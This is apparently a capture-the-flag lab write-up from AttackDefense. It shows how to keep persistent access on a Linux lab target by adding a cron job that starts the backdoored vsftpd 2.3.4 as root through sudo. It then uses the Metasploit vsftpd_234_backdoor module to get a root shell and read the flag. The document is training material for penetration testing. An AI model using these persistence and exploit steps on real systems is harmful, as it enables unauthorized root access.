ATTACKDEFENSE LABS COURSES

PENTESTER ACADEMYTOOL BOX PENTESTING

JUNT WORLD-CLASS TRAINERS TRAINING HACKER

PATY RED TEAM LABS ATTACKDEFENSE LABS

TRAINING COURSES ACCESS POINT PENTESTER

TEAM LABS PENTESTY TO THE OLD OF DOLD-CLASS TRAINERS I WORLD-CLASS TRAINING COURSES PAY THE OLD OF DOLD-CLASS TRAINING THAN THE STAINING TO TEAM LAB

ATTACKDEFENSE LABS TRAINING COURSES PENTESTER ACADEM

COURSES TO LABS TRAINING COURSES PENTESTER ACADEM

COURSES TO LABS TRAINING COURSES PENTESTER ACADEM

COURSES TO LABS TRAINING THAN THE STI'

S POINT WORLD-CLASS TRAINERS TRAINING HACKER

TOOL BOX

TOOL BOX

TOOL BOX TOOL BOX WORLD-CI'

WORLD-CLASS TRAINERS TRAINING HACKER

TOOL BOX TOOL BOX WORLD-CI'

WORLD-CLASS TRAINERS RED TEAM

TRAINING CO'

PENTESTER ACADEMY TOOL BOX

TRAINING

| Name | T1505: Server Software Component |
|------|---|
| URL | https://www.attackdefense.com/challengedetails?cid=1552 |
| Туре | MITRE ATT&CK Linux : Persistence |

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

Objective:

- 1. Maintain access on the target machine after the credentials are modified. Use the publicly known backdoored FTP server which is installed on the system.
- 2. Retrieve flag from the target machine.

Solution:

Step 1: Finding the IP address of target machine.

Command: ip addr

```
root@attackdefense:~# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
6725: eth0@if6726: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:0a:01:01:04 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 10.1.1.4/24 brd 10.1.1.255 scope global eth0
        valid_lft forever preferred_lft forever
6728: eth1@if6729: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:c0:12:dd:02 brd ff:ff:ff:ff:ff link-netnsid 0
    inet 192.18.221.2/24 brd 192.18.221.255 scope global eth1
        valid_lft forever preferred_lft forever
root@attackdefense:~#
```

The target machine is at IP 192.18.221.3

Step 2: SSH into the target machine

The SSH login credentials are provided in the challenge description:

Username: studentPassword: password

Commands:

ssh student@192.18.221.3 Enter password "password"

> root@attackdefense:~# ssh student@192.18.221.3 The authenticity of host '192.18.221.3 (192.18.221.3)' can't be established. ECDSA key fingerprint is SHA256:XJKT3cfY7eUyGE+ANUXJUbujx9do/cm94BuQBcOWoho. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '192.18.221.3' (ECDSA) to the list of known hosts. student@192.18.221.3's password: Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-50-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage This system has been minimized by removing packages and content that are not required on a system that users do not log into. To restore this content, you can run the 'unminimize' command. The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. student@victim-1:~\$

Step 3: Check the running processes.

Command: ps -eaf

6 0 10:00 ? 00:00:00 sleep 5

78 77 0 09:59 pts/0 00:00:00 -bash

101 78 0 10:00 pts/0 00:00:00 ps -eaf

Cron service is running.

student

student

root

100

student@victim-1:~\$

Step 4: Check which command student user can execute as root.

Command: sudo -l

```
student@victim-1:~$ sudo -l
Matching Defaults entries for student on victim-1:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/snap/bin

User student may run the following commands on victim-1:
    (root) NOPASSWD: /usr/local/sbin/vsftpd
student@victim-1:~$
```

Student user can execute "/usr/local/sbin/vsftpd" as root.

Step 5: Check the vsftpd version

Command: vsftpd -v

student@victim-1:~\$ vsftpd -v
vsftpd: version 2.3.4
student@victim-1:~\$

Step 6: Add a user cron job to start the vsftpd server which can later be leveraged to gain access on the target machine.

Commands:

echo "* * * * * sudo /usr/local/sbin/vsftpd" > cron crontab -i cron crontab -l

```
student@victim-1:~$ echo "* * * * * sudo /usr/local/sbin/vsftpd" > cron
student@victim-1:~$ crontab -i cron
student@victim-1:~$ crontab -l
* * * * * sudo /usr/local/sbin/vsftpd
student@victim-1:~$
```

Step 7: Delete the wait file.

Command: rm wait

```
student@victim-1:~$ rm wait
student@victim-1:~$ Connection to 192.18.221.3 closed by remote host.
Connection to 192.18.221.3 closed.
root@attackdefense:~#
```

The SSH session is terminated.

Step 8: Perform nmap scan and check whether port 21 is open

Command: nmap -p- 192.18.221.3

```
root@attackdefense:~# nmap -p- 192.18.221.3
Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-04 10:03 UTC
Nmap scan report for 7ph6145q11oh9wypsswnivfcw.temp-network_a-18-221 (192.18.221.3)
Host is up (0.000011s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ftp
ACC Address: 02:42:C0:12:DD:03 (Unknown)
Nmap done: 1 IP address (1 host up) scanned in 1.54 seconds
root@attackdefense:~#
```

The vsftpd server has started.

Step 9: Search for exploits for the vsftpd server.

Command: searchsploit vsftpd

```
root@attackdefense:~# searchsploit vsftpd

Exploit Title | Path | (/usr/share/exploitdb/)

vsftpd 2.0.5 - 'CWD' (Authenticated) Remote Memory Consumption | exploits/linux/dos/5814.pl | vsftpd 2.0.5 - 'deny_file' Option Remote Denial of Service (1) | exploits/windows/dos/31818.sh | vsftpd 2.0.5 - 'deny_file' Option Remote Denial of Service (2) | exploits/windows/dos/31819.pl | vsftpd 2.3.2 - Denial of Service | exploits/linux/dos/16270.c | vsftpd 2.3.4 - Backdoor Command Execution (Metasploit) | exploits/unix/remote/17491.rb

Shellcodes: No Result root@attackdefense:~#
```

A metasploit module exists for vsftpd version 2.3.4

Step 10: Use available metasploit module to exploit the vulnerability.

Commands:

msfconsole search vsftpd set RHOSTS 192.18.221.3 exploit

```
msf5 > search vsftpd
Matching Modules
=========
   Name
                                        Disclosure Date Rank Check Description
   exploit/unix/ftp/vsftpd 234 backdoor 2011-07-03
                                                        excellent No
                                                                          VSFTPD v2.3.4 Backdoor Command Execution
msf5 > use exploit/unix/ftp/vsftpd_234_backdoor
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.18.221.3
RHOSTS => 192.18.221.3
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.18.221.3:21 - Banner: 220 Welcome to AttackDefense target FTP service.
[*] 192.18.221.3:21 - USER: 331 Please specify the password.
[+] 192.18.221.3:21 - Backdoor service has been spawned, handling...
[+] 192.18.221.3:21 - UID: uid=0(root) gid=0(root) groups=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.18.221.2:37345 -> 192.18.221.3:6200) at 2019-06-04 10:07:15 +0000
uid=0(root) gid=0(root) groups=0(root)
```

Step 11: Retrieve the flag

Commands:

ls -l cat flag.txt

Flag: 656daa99e62c6f1ad27f7d256b15f3d1

References:

- 1. VSFTPD (https://security.appspot.com/vsftpd.html)
- Metasploit Module: VSFTPD v2.3.4 Backdoor Command Execution (https://www.rapid7.com/db/modules/exploit/unix/ftp/vsftpd 234 backdoor)